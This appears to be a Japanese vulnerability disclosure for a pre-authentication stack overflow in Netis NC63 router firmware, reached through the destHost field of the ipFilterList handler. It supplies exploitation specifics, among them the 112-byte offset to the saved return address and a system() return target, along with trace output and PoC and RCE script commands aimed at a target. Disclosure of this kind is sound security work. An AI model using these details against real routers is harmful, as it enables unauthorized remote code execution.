
skk_set.cgi ipFilterList ハンドラにおける sscanf %[^,] を介した未認証の認証前スタックバッファオーバーフロー研究者: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 ファームウェア V3.0.0.3327 の汎用 MIB/値パーサーは、
ipFilterList の destHost フィールドを 2 つの %[^,] スキャンセットで
解析しますが、最大フィールド幅の指定がありません。各変換は 16 バイトの
ローカルスタックバッファに書き込みます。したがって、直接 HTTP クライアントから
長いカンマを含まないコンポーネントを送信することで、関数の保存された制御データを
上書きできます。
動的にテストされた 2 番目の destHost コンポーネントでは、保存された ra は
ローカルバッファからちょうど 112 バイトの位置にあります。オリジナルハッシュの CGI に対する
QEMU トレースにより、攻撃者が選択した 3 番目のエントリが 0x0040f7f4 に
あることが確認されました。別の観測専用テストでは、攻撃者が制御するリクエストデータを
正確な MIPS の a0 引数として保持したまま、リターンを 0x00423ab0 の
元の system() PLT パスへリダイレクトしました。ガード付きの /bin/sh は
マーカーを記録し、コマンドは一切実行しませんでした。
公開 PoC には意図的に過長な B パターンのみが含まれています。非公開の
制御転送値やコマンド境界の構築は含まれていません。
poc/exploit-db/ で別途管理されている RCE スクリプトは Exploit-DB への
投稿用に準備されており、影響を受けるシステムの許可されたテストのみを
目的としています。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

ベンダーのフロントエンドは srcHost と destHost をカンマ区切りの3つのコンポーネントとして構築し、ipFilterList とともに /cgi-bin/skk_set.cgi にPOSTします:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

検証済みのHTTP形式CGIリクエストには、CookieヘッダーもAuthorizationヘッダーも含まれていませんでした。/tmp/boa_auth は存在しなかったにもかかわらず、実行は ipFilterList=mod および destHost パーサーの経路へと継続しました。メモリ破壊の欠陥は FUN_0040f7f4 内の幅指定のないスキャンセットであり、より広範なCGI認可の失敗は、この特権ハンドラーを認証前に露出させる条件です。

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
元の libapmib.so メタデータは srcHost と destHost の両方を型 0x0c にマッピングしており、これがこのパーサーのケースを選択します。動的検証は destHost で実施しました。srcHost は別個の動的検証主張ではなく、同一パーサーの静的カバレッジとして含めています。

正規化された Ghidra 由来の擬似コード:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 自体が本質的に脆弱性なわけではありません。欠陥は、%[^,] に最大フィールド幅が指定されていないため、sscanf が各出力先がわずか 16 バイトであることを認識できない点にあります。容量を考慮した書式では、%15[^,] のような幅を使用し、ちょうど 3 つの変換が成功したことを検証したうえで、解析されたアドレス値を検証します。これは緩和策の一例であり、ベンダーのパッチではありません。
FUN_0040f7f4 は 0x0040f7f4 から始まり、0x1d0 バイトのフレームを作成します:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
型 0x0c の宛先は fp+0x14c と fp+0x15c にあります。保存された ra は fp+0x1cc にあり、2 番目のバッファからの正確な距離は次のとおりです:
0x1cc - 0x15c = 0x70 = 112 bytes

分離されたPC証明では、112バイトのパディングに続いて0x0040f7f4の下位3バイト(リトルエンディアン)が使用された。sscanfの終端文字が4番目のゼロバイトを供給した。QEMUは、通常のパーサーエントリが2回続いた後、上書きされたリターンアドレスによって引き起こされる3回目のエントリを観測した:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

別個のプライベート検証により、保存された ra=0x00423ab0、すなわち元のバイナリの system() PLT パスが形成された。制御されたリクエストキーサフィックスは、リターン時に MIPS の a0 に残っていた。使い捨てのランタイムは /bin/sh を静的ロガーに置き換えた:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
これにより、分離された本番コードパス内にRCEプリミティブが確立される。物理ルータでの正確なエクスプロイト信頼性、カーネルのランダム化挙動、デフォルトのWAN露出については検証されていない。
検証対象のnetis.cgiは本番成果物とバイト単位で同一である。qemu-userではフラッシュ裏付けのMIB状態が利用できないため、使い捨てのrootfsは、ゼロ初期化されたMIB状態を割り当て、1つのパックフィールドのアラインメントを調整する、開示済みのラボ専用libapmib.so対応を使用した。これはCGI、リクエストパーサ、脆弱なsscanf、スタックフレーム、保存リターンオフセット、エピローグ、system()パスを変更していない。静的メタデータは元のベンダーlibapmib.soから取得した。
元の実行ファイルは固定ベースであり、スタックカナリアとRELROを欠き、実行可能スタックとRWXセグメントを持つ。これらの特性はエクスプロイト可能性の分析を裏付けるが、動的なPCおよびガード付き境界テストの代替にはならない。

URLエンコードされたボディのドライラン生成:
python3 poc/poc.py
認可された使い捨てターゲットへの明示的な送信:
python3 poc/poc.py --target http://192.168.1.1 --send
poc/exploit-db/CVE-2026-76071.py は Exploit-DB 向けに用意された RCE スクリプトです。
これは文書化された未認証の ipFilterList 脆弱性を標的としており、
許可された影響を受けるテストターゲットに対して使用するためのコマンド引数を受け付けます:
python3 poc/exploit-db/CVE-2026-76071.py <target> "id"
公開スクリプトは115バイトの B コンポーネントを使用して、オーバーフロー条件を実証します。これを送信するとCGIプロセスがクラッシュする可能性があります。コマンド文字列、シェルコード、system へのリターンアドレス、リバースシェル、永続化は含まれていません。